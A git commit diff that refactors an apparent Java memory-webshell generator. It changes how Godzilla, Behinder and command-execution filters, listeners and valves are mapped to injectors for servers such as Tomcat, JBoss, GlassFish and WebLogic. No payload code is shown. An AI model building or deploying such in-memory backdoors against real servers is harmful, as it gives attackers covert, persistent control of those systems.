refactor: simplify code

This commit is contained in:
ReaJason
2024-12-28 00:52:28 +08:00
parent 87147d738a
commit 696814fd2c
91 changed files with 1233 additions and 1516 deletions
-14
View File
@@ -62,20 +62,6 @@ dependencies {
implementation 'org.springframework:spring-webmvc:4.3.30.RELEASE'
implementation 'org.springframework:spring-web:4.3.30.RELEASE'
implementation 'org.springframework:spring-webflux:5.3.24'
implementation('org.apache.tomcat:tomcat-catalina:8.5.58') {
exclude group: 'org.apache.tomcat', module: 'tomcat-api'
exclude group: 'org.apache.tomcat', module: 'tomcat-juli'
exclude group: 'org.apache.tomcat', module: 'tomcat-jni'
exclude group: 'org.apache.tomcat', module: 'tomcat-coyote'
exclude group: 'org.apache.tomcat', module: 'tomcat-util'
exclude group: 'org.apache.tomcat', module: 'tomcat-util-scan'
exclude group: 'org.apache.tomcat', module: 'tomcat-annotations-api'
exclude group: 'org.apache.tomcat', module: 'tomcat-el-api'
exclude group: 'org.apache.tomcat', module: 'tomcat-jsp-api'
exclude group: 'org.apache.tomcat', module: 'tomcat-servlet-api'
exclude group: 'org.apache.tomcat', module: 'tomcat-jaspic-api'
}
testImplementation platform('org.junit:junit-bom:5.+')
testImplementation 'org.junit.jupiter:junit-jupiter'
@@ -10,9 +10,6 @@ import org.apache.commons.codec.binary.Base64;
import org.apache.commons.lang3.StringUtils;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;
/**
* @author ReaJason
@@ -22,9 +19,9 @@ public class GeneratorMain {
public static void main(String[] args) throws IOException {
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.JBossAS)
.shellTool(ShellTool.Behinder)
.shellType(Constants.FILTER)
.server(Server.Apusic)
.shellTool(ShellTool.Godzilla)
.shellType(Constants.SERVLET)
.targetJreVersion(Opcodes.V1_6)
.debug(true)
.build();
@@ -42,7 +39,7 @@ public class GeneratorMain {
InjectorConfig injectorConfig = new InjectorConfig();
GenerateResult generateResult = generate(shellConfig, injectorConfig, behinderConfig);
GenerateResult generateResult = generate(shellConfig, injectorConfig, godzillaConfig);
if (generateResult != null) {
// Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
// Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW);
@@ -1,6 +1,10 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.generator.BehinderGenerator;
import com.reajason.javaweb.memshell.generator.CommandGenerator;
import com.reajason.javaweb.memshell.generator.GodzillaGenerator;
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
import org.apache.commons.lang3.tuple.Pair;
import java.util.Collections;
@@ -6,7 +6,6 @@ import com.reajason.javaweb.memshell.bes.godzilla.GodzillaValve;
import com.reajason.javaweb.memshell.bes.injector.BesFilterInjector;
import com.reajason.javaweb.memshell.bes.injector.BesListenerInjector;
import com.reajason.javaweb.memshell.bes.injector.BesValveInjector;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
@@ -17,19 +16,19 @@ import org.apache.commons.lang3.tuple.Pair;
import java.util.Map;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
* @since 2024/12/26
*/
public class BesShell extends AbstractShell {
public static final String VALVE = "Valve";
public static final String JAKARTA_VALVE = "JakartaValve";
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Map.of(
Constants.FILTER, Pair.of(CommandFilter.class, BesFilterInjector.class),
Constants.LISTENER, Pair.of(CommandListener.class, BesListenerInjector.class),
FILTER, Pair.of(CommandFilter.class, BesFilterInjector.class),
LISTENER, Pair.of(CommandListener.class, BesListenerInjector.class),
VALVE, Pair.of(CommandValve.class, BesValveInjector.class)
);
}
@@ -37,8 +36,8 @@ public class BesShell extends AbstractShell {
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Map.of(
Constants.FILTER, Pair.of(GodzillaFilter.class, BesFilterInjector.class),
Constants.LISTENER, Pair.of(GodzillaListener.class, BesListenerInjector.class),
FILTER, Pair.of(GodzillaFilter.class, BesFilterInjector.class),
LISTENER, Pair.of(GodzillaListener.class, BesListenerInjector.class),
VALVE, Pair.of(GodzillaValve.class, BesValveInjector.class)
);
}
@@ -46,8 +45,8 @@ public class BesShell extends AbstractShell {
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
Constants.FILTER, Pair.of(BehinderFilter.class, BesFilterInjector.class),
Constants.LISTENER, Pair.of(BehinderListener.class, BesListenerInjector.class),
FILTER, Pair.of(BehinderFilter.class, BesFilterInjector.class),
LISTENER, Pair.of(BehinderListener.class, BesListenerInjector.class),
VALVE, Pair.of(BehinderValve.class, BesValveInjector.class)
);
}
@@ -1,6 +1,5 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.glassfish.behinder.BehinderListener;
import com.reajason.javaweb.memshell.glassfish.command.CommandListener;
import com.reajason.javaweb.memshell.glassfish.godzilla.GodzillaListener;
@@ -17,21 +16,21 @@ import org.apache.commons.lang3.tuple.Pair;
import java.util.Map;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
* @since 2024/12/12
*/
public class GlassFishShell extends AbstractShell {
public static final String VALVE = "Valve";
public static final String JAKARTA_VALVE = "JakartaValve";
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Map.of(
Constants.FILTER, Pair.of(CommandFilter.class, GlassFishFilterInjector.class),
Constants.JAKARTA_FILTER, Pair.of(CommandFilter.class, GlassFishFilterInjector.class),
Constants.LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class),
Constants.JAKARTA_LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class),
FILTER, Pair.of(CommandFilter.class, GlassFishFilterInjector.class),
JAKARTA_FILTER, Pair.of(CommandFilter.class, GlassFishFilterInjector.class),
LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class),
JAKARTA_LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class),
VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class),
JAKARTA_VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class)
);
@@ -40,10 +39,10 @@ public class GlassFishShell extends AbstractShell {
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Map.of(
Constants.FILTER, Pair.of(GodzillaFilter.class, GlassFishFilterInjector.class),
Constants.JAKARTA_FILTER, Pair.of(GodzillaFilter.class, GlassFishFilterInjector.class),
Constants.LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class),
Constants.JAKARTA_LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class),
FILTER, Pair.of(GodzillaFilter.class, GlassFishFilterInjector.class),
JAKARTA_FILTER, Pair.of(GodzillaFilter.class, GlassFishFilterInjector.class),
LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class),
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class),
VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class),
JAKARTA_VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class)
);
@@ -52,12 +51,12 @@ public class GlassFishShell extends AbstractShell {
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
Constants.FILTER, Pair.of(BehinderFilter.class, GlassFishFilterInjector.class),
Constants.JAKARTA_FILTER, Pair.of(BehinderFilter.class, GlassFishFilterInjector.class),
Constants.LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class),
Constants.JAKARTA_LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class),
FILTER, Pair.of(BehinderFilter.class, GlassFishFilterInjector.class),
JAKARTA_FILTER, Pair.of(BehinderFilter.class, GlassFishFilterInjector.class),
LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class),
JAKARTA_LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class),
VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class),
JAKARTA_VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class)
);
}
}
}
@@ -1,6 +1,5 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector;
import com.reajason.javaweb.memshell.inforsuite.injector.InforSuiteFilterInjector;
@@ -17,21 +16,21 @@ import org.apache.commons.lang3.tuple.Pair;
import java.util.Map;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
* @since 2024/12/24
*/
public class InforSuiteShell extends AbstractShell {
public static final String VALVE = "Valve";
public static final String JAKARTA_VALVE = "JakartaValve";
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Map.of(
Constants.FILTER, Pair.of(CommandFilter.class, InforSuiteFilterInjector.class),
Constants.JAKARTA_FILTER, Pair.of(CommandFilter.class, InforSuiteFilterInjector.class),
Constants.LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class),
Constants.JAKARTA_LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class),
FILTER, Pair.of(CommandFilter.class, InforSuiteFilterInjector.class),
JAKARTA_FILTER, Pair.of(CommandFilter.class, InforSuiteFilterInjector.class),
LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class),
JAKARTA_LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class),
VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class),
JAKARTA_VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class)
);
@@ -40,10 +39,10 @@ public class InforSuiteShell extends AbstractShell {
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Map.of(
Constants.FILTER, Pair.of(GodzillaFilter.class, InforSuiteFilterInjector.class),
Constants.JAKARTA_FILTER, Pair.of(GodzillaFilter.class, InforSuiteFilterInjector.class),
Constants.LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class),
Constants.JAKARTA_LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class),
FILTER, Pair.of(GodzillaFilter.class, InforSuiteFilterInjector.class),
JAKARTA_FILTER, Pair.of(GodzillaFilter.class, InforSuiteFilterInjector.class),
LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class),
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class),
VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class),
JAKARTA_VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class)
);
@@ -52,10 +51,10 @@ public class InforSuiteShell extends AbstractShell {
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
Constants.FILTER, Pair.of(BehinderFilter.class, InforSuiteFilterInjector.class),
Constants.JAKARTA_FILTER, Pair.of(BehinderFilter.class, InforSuiteFilterInjector.class),
Constants.LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class),
Constants.JAKARTA_LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class),
FILTER, Pair.of(BehinderFilter.class, InforSuiteFilterInjector.class),
JAKARTA_FILTER, Pair.of(BehinderFilter.class, InforSuiteFilterInjector.class),
LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class),
JAKARTA_LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class),
VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class),
JAKARTA_VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class)
);
@@ -1,11 +1,14 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.jboss.injector.JbossFilterInjector;
import com.reajason.javaweb.memshell.jboss.injector.JbossListenerInjector;
import com.reajason.javaweb.memshell.jboss.injector.JbossValveInjector;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
@@ -13,6 +16,8 @@ import org.apache.commons.lang3.tuple.Pair;
import java.util.Map;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
* @since 2024/12/10
@@ -22,24 +27,27 @@ public class JbossShell extends AbstractShell {
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Map.of(
Constants.FILTER, Pair.of(CommandFilter.class, JbossFilterInjector.class),
Constants.LISTENER, Pair.of(CommandListener.class, JbossListenerInjector.class)
FILTER, Pair.of(CommandFilter.class, JbossFilterInjector.class),
LISTENER, Pair.of(CommandListener.class, JbossListenerInjector.class),
VALVE, Pair.of(CommandValve.class, JbossValveInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Map.of(
Constants.FILTER, Pair.of(GodzillaFilter.class, JbossFilterInjector.class),
Constants.LISTENER, Pair.of(GodzillaListener.class, JbossListenerInjector.class)
FILTER, Pair.of(GodzillaFilter.class, JbossFilterInjector.class),
LISTENER, Pair.of(GodzillaListener.class, JbossListenerInjector.class),
VALVE, Pair.of(GodzillaValve.class, JbossValveInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
Constants.FILTER, Pair.of(BehinderFilter.class, JbossFilterInjector.class),
Constants.LISTENER, Pair.of(BehinderListener.class, JbossListenerInjector.class)
FILTER, Pair.of(BehinderFilter.class, JbossFilterInjector.class),
LISTENER, Pair.of(BehinderListener.class, JbossListenerInjector.class),
VALVE, Pair.of(BehinderValve.class, JbossValveInjector.class)
);
}
}
@@ -1,6 +1,5 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.jetty.behinder.BehinderListener;
import com.reajason.javaweb.memshell.jetty.command.CommandListener;
import com.reajason.javaweb.memshell.jetty.godzilla.GodzillaListener;
@@ -15,7 +14,6 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import org.apache.commons.lang3.tuple.Pair;
import java.util.List;
import java.util.Map;
import static com.reajason.javaweb.memshell.config.Constants.*;
@@ -0,0 +1,26 @@
package com.reajason.javaweb.memshell;
import org.apache.commons.lang3.tuple.Pair;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/26
*/
public class NettyShell extends AbstractShell{
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return super.getBehinderShellMap();
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return super.getCommandShellMap();
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return super.getGodzillaShellMap();
}
}
@@ -1,63 +0,0 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.payara.injector.PayaraFilterInjector;
import com.reajason.javaweb.memshell.payara.injector.PayaraListenerInjector;
import com.reajason.javaweb.memshell.payara.injector.PayaraValveInjector;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import org.apache.commons.lang3.tuple.Pair;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/14
*/
public class PayaraShell extends AbstractShell {
public static final String VALVE = "Valve";
public static final String JAKARTA_VALVE = "JakartaValve";
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Map.of(
Constants.FILTER, Pair.of(CommandFilter.class, PayaraFilterInjector.class),
Constants.JAKARTA_FILTER, Pair.of(CommandFilter.class, PayaraFilterInjector.class),
Constants.LISTENER, Pair.of(CommandListener.class, PayaraListenerInjector.class),
Constants.JAKARTA_LISTENER, Pair.of(CommandListener.class, PayaraListenerInjector.class),
VALVE, Pair.of(CommandValve.class, PayaraValveInjector.class),
JAKARTA_VALVE, Pair.of(CommandValve.class, PayaraValveInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Map.of(
Constants.FILTER, Pair.of(GodzillaFilter.class, PayaraFilterInjector.class),
Constants.JAKARTA_FILTER, Pair.of(GodzillaFilter.class, PayaraFilterInjector.class),
Constants.LISTENER, Pair.of(GodzillaListener.class, PayaraListenerInjector.class),
Constants.JAKARTA_LISTENER, Pair.of(GodzillaListener.class, PayaraListenerInjector.class),
VALVE, Pair.of(GodzillaValve.class, PayaraValveInjector.class),
JAKARTA_VALVE, Pair.of(GodzillaValve.class, PayaraValveInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
Constants.FILTER, Pair.of(BehinderFilter.class, PayaraFilterInjector.class),
Constants.JAKARTA_FILTER, Pair.of(BehinderFilter.class, PayaraFilterInjector.class),
Constants.LISTENER, Pair.of(BehinderListener.class, PayaraListenerInjector.class),
Constants.JAKARTA_LISTENER, Pair.of(BehinderListener.class, PayaraListenerInjector.class),
VALVE, Pair.of(BehinderValve.class, PayaraValveInjector.class),
JAKARTA_VALVE, Pair.of(BehinderValve.class, PayaraValveInjector.class)
);
}
}
@@ -1,7 +1,5 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.resin.behinder.BehinderListener;
import com.reajason.javaweb.memshell.resin.command.CommandListener;
import com.reajason.javaweb.memshell.resin.godzilla.GodzillaListener;
@@ -16,9 +14,10 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import org.apache.commons.lang3.tuple.Pair;
import java.util.List;
import java.util.Map;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
* @since 2024/12/14
@@ -28,36 +27,36 @@ public class ResinShell extends AbstractShell {
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Map.of(
Constants.SERVLET, Pair.of(CommandServlet.class, ResinServletInjector.class),
Constants.JAKARTA_SERVLET, Pair.of(CommandServlet.class, ResinServletInjector.class),
Constants.FILTER, Pair.of(CommandFilter.class, ResinFilterInjector.class),
Constants.JAKARTA_FILTER, Pair.of(CommandFilter.class, ResinFilterInjector.class),
Constants.LISTENER, Pair.of(CommandListener.class, ResinListenerInjector.class),
Constants.JAKARTA_LISTENER, Pair.of(CommandListener.class, ResinListenerInjector.class)
SERVLET, Pair.of(CommandServlet.class, ResinServletInjector.class),
JAKARTA_SERVLET, Pair.of(CommandServlet.class, ResinServletInjector.class),
FILTER, Pair.of(CommandFilter.class, ResinFilterInjector.class),
JAKARTA_FILTER, Pair.of(CommandFilter.class, ResinFilterInjector.class),
LISTENER, Pair.of(CommandListener.class, ResinListenerInjector.class),
JAKARTA_LISTENER, Pair.of(CommandListener.class, ResinListenerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Map.of(
Constants.SERVLET, Pair.of(GodzillaServlet.class, ResinServletInjector.class),
Constants.JAKARTA_SERVLET, Pair.of(GodzillaServlet.class, ResinServletInjector.class),
Constants.FILTER, Pair.of(GodzillaFilter.class, ResinFilterInjector.class),
Constants.JAKARTA_FILTER, Pair.of(GodzillaFilter.class, ResinFilterInjector.class),
Constants.LISTENER, Pair.of(GodzillaListener.class, ResinListenerInjector.class),
Constants.JAKARTA_LISTENER, Pair.of(GodzillaListener.class, ResinListenerInjector.class)
SERVLET, Pair.of(GodzillaServlet.class, ResinServletInjector.class),
JAKARTA_SERVLET, Pair.of(GodzillaServlet.class, ResinServletInjector.class),
FILTER, Pair.of(GodzillaFilter.class, ResinFilterInjector.class),
JAKARTA_FILTER, Pair.of(GodzillaFilter.class, ResinFilterInjector.class),
LISTENER, Pair.of(GodzillaListener.class, ResinListenerInjector.class),
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, ResinListenerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
Constants.SERVLET, Pair.of(BehinderServlet.class, ResinServletInjector.class),
Constants.JAKARTA_SERVLET, Pair.of(BehinderServlet.class, ResinServletInjector.class),
Constants.FILTER, Pair.of(BehinderFilter.class, ResinFilterInjector.class),
Constants.JAKARTA_FILTER, Pair.of(BehinderFilter.class, ResinFilterInjector.class),
Constants.LISTENER, Pair.of(BehinderListener.class, ResinListenerInjector.class),
Constants.JAKARTA_LISTENER, Pair.of(BehinderListener.class, ResinListenerInjector.class)
SERVLET, Pair.of(BehinderServlet.class, ResinServletInjector.class),
JAKARTA_SERVLET, Pair.of(BehinderServlet.class, ResinServletInjector.class),
FILTER, Pair.of(BehinderFilter.class, ResinFilterInjector.class),
JAKARTA_FILTER, Pair.of(BehinderFilter.class, ResinFilterInjector.class),
LISTENER, Pair.of(BehinderListener.class, ResinListenerInjector.class),
JAKARTA_LISTENER, Pair.of(BehinderListener.class, ResinListenerInjector.class)
);
}
}
@@ -1,6 +1,5 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
@@ -17,7 +16,6 @@ import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.tomcat.injector.*;
import org.apache.commons.lang3.tuple.Pair;
import java.util.List;
import java.util.Map;
import static com.reajason.javaweb.memshell.config.Constants.*;
@@ -28,8 +26,6 @@ import static com.reajason.javaweb.memshell.config.Constants.*;
*/
public class TomcatShell extends AbstractShell {
public static final String WEBSOCKET = "WebSocket";
public static final String VALVE = "Valve";
public static final String JAKARTA_VALVE = "JakartaValve";
public static final String UPGRADE = "Upgrade";
public static final String EXECUTOR = "Executor";
@@ -23,8 +23,6 @@ import static com.reajason.javaweb.memshell.config.Constants.*;
* @since 2024/12/26
*/
public class TongWeb6Shell extends AbstractShell {
public static final String VALVE = "Valve";
public static final String JAKARTA_VALVE = "JakartaValve";
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
@@ -23,8 +23,6 @@ import static com.reajason.javaweb.memshell.config.Constants.*;
* @since 2024/12/26
*/
public class TongWeb7Shell extends AbstractShell {
public static final String VALVE = "Valve";
public static final String JAKARTA_VALVE = "JakartaValve";
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
@@ -1,7 +1,5 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
@@ -16,9 +14,10 @@ import com.reajason.javaweb.memshell.undertow.injector.UndertowListenerInjector;
import com.reajason.javaweb.memshell.undertow.injector.UndertowServletInjector;
import org.apache.commons.lang3.tuple.Pair;
import java.util.List;
import java.util.Map;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
* @since 2024/12/10
@@ -28,36 +27,36 @@ public class UndertowShell extends AbstractShell {
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Map.of(
Constants.SERVLET, Pair.of(CommandServlet.class, UndertowServletInjector.class),
Constants.JAKARTA_SERVLET, Pair.of(CommandServlet.class, UndertowServletInjector.class),
Constants.FILTER, Pair.of(CommandFilter.class, UndertowFilterInjector.class),
Constants.JAKARTA_FILTER, Pair.of(CommandFilter.class, UndertowFilterInjector.class),
Constants.LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class),
Constants.JAKARTA_LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class)
SERVLET, Pair.of(CommandServlet.class, UndertowServletInjector.class),
JAKARTA_SERVLET, Pair.of(CommandServlet.class, UndertowServletInjector.class),
FILTER, Pair.of(CommandFilter.class, UndertowFilterInjector.class),
JAKARTA_FILTER, Pair.of(CommandFilter.class, UndertowFilterInjector.class),
LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class),
JAKARTA_LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Map.of(
Constants.SERVLET, Pair.of(GodzillaServlet.class, UndertowServletInjector.class),
Constants.JAKARTA_SERVLET, Pair.of(GodzillaServlet.class, UndertowServletInjector.class),
Constants.FILTER, Pair.of(GodzillaFilter.class, UndertowFilterInjector.class),
Constants.JAKARTA_FILTER, Pair.of(GodzillaFilter.class, UndertowFilterInjector.class),
Constants.LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class),
Constants.JAKARTA_LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class)
SERVLET, Pair.of(GodzillaServlet.class, UndertowServletInjector.class),
JAKARTA_SERVLET, Pair.of(GodzillaServlet.class, UndertowServletInjector.class),
FILTER, Pair.of(GodzillaFilter.class, UndertowFilterInjector.class),
JAKARTA_FILTER, Pair.of(GodzillaFilter.class, UndertowFilterInjector.class),
LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class),
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
Constants.SERVLET, Pair.of(BehinderServlet.class, UndertowServletInjector.class),
Constants.JAKARTA_SERVLET, Pair.of(BehinderServlet.class, UndertowServletInjector.class),
Constants.FILTER, Pair.of(BehinderFilter.class, UndertowFilterInjector.class),
Constants.JAKARTA_FILTER, Pair.of(BehinderFilter.class, UndertowFilterInjector.class),
Constants.LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class),
Constants.JAKARTA_LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class)
SERVLET, Pair.of(BehinderServlet.class, UndertowServletInjector.class),
JAKARTA_SERVLET, Pair.of(BehinderServlet.class, UndertowServletInjector.class),
FILTER, Pair.of(BehinderFilter.class, UndertowFilterInjector.class),
JAKARTA_FILTER, Pair.of(BehinderFilter.class, UndertowFilterInjector.class),
LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class),
JAKARTA_LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class)
);
}
}
@@ -1,6 +1,5 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
@@ -17,6 +16,8 @@ import org.apache.commons.lang3.tuple.Pair;
import java.util.Map;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
* @since 2024/12/24
@@ -25,27 +26,27 @@ public class WebLogicShell extends AbstractShell {
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
Constants.SERVLET, Pair.of(BehinderServlet.class, WebLogicServletInjector.class),
Constants.FILTER, Pair.of(BehinderFilter.class, WebLogicFilterInjector.class),
Constants.LISTENER, Pair.of(BehinderListener.class, WebLogicListenerInjector.class)
SERVLET, Pair.of(BehinderServlet.class, WebLogicServletInjector.class),
FILTER, Pair.of(BehinderFilter.class, WebLogicFilterInjector.class),
LISTENER, Pair.of(BehinderListener.class, WebLogicListenerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Map.of(
Constants.SERVLET, Pair.of(CommandServlet.class, WebLogicServletInjector.class),
Constants.FILTER, Pair.of(CommandFilter.class, WebLogicFilterInjector.class),
Constants.LISTENER, Pair.of(CommandListener.class, WebLogicListenerInjector.class)
SERVLET, Pair.of(CommandServlet.class, WebLogicServletInjector.class),
FILTER, Pair.of(CommandFilter.class, WebLogicFilterInjector.class),
LISTENER, Pair.of(CommandListener.class, WebLogicListenerInjector.class)
);
}
@Override
